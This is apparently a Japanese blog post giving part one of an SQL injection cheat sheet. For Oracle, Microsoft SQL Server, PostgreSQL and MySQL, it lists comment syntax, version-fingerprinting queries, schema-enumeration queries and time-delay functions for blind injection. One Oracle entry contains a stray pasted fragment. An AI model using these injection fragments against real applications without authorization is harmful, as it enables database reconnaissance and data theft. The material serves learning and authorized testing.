Shikata Ga Nai

Private? There is no such things.

SQL injection cheat sheet(1)

Hello guys!

 

これまでブログにて実施してきたSQLインジェクションについて。

チートシートをまとめておくと。

 

■Comments

 コメントを使用することで。

 コメント以降のクエリを切り捨てることができ。

 Case Oracle:

  --コメント

 

 Case Microsoft:

  --コメント、/*コメント*/

 

 Case PostgreSQL:

  --コメント、/*コメント*/

 

 Case MySQL:

  --(最後に半角スペース)コメント、/*コメント*/、#コメント

 

■Database version

 データベースのタイプととバージョンを判別できて。

 この情報からより複雑な攻撃を定式化でき。

 Case Oracle:

  SELECT banner FROM v$version

  SELECT version FROM v$instance

 

 Case Microsoft:

  SELECT @@VERSION

 

 Case PostgreSQL:

  SELECT VERSION()

 

 Case MySQL:

  SELECT @@VERSION

 

■Databese contents

 データベース内のテーブルだったり。

 テーブル内のリストを表示できたり。

 Case Oracle:

  SELECT * FROM all_tables

  SELECT * FROM all_tab_columns WHERE table_name = 'TABLE-NAME-HERE'Microsoft SELECT * FROM

 

 Case Microsoft:

  SELECT * FROM information_schema.tables

  SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'

 

 Case PostgreSQL:

  SELECT * FROM information_schema.tables

  SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'

  

 Case MySQL:

  SELECT * FROM information_schema.tables

  SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'

 

■Time delays

 クエリを実行した際に。

 指定した時間、スリープさせることができ。

 Case Oracle:

  dbms_pipe.receive_message(('a'),10)

 

 Case Microsoft:

  WAITFOR DELAY '0:0:10'

 

 Case PostgreSQL:

  SELECT pg_sleep(10)

 

 Case MySQL:

  SELECT sleep(10)

 

Best regards,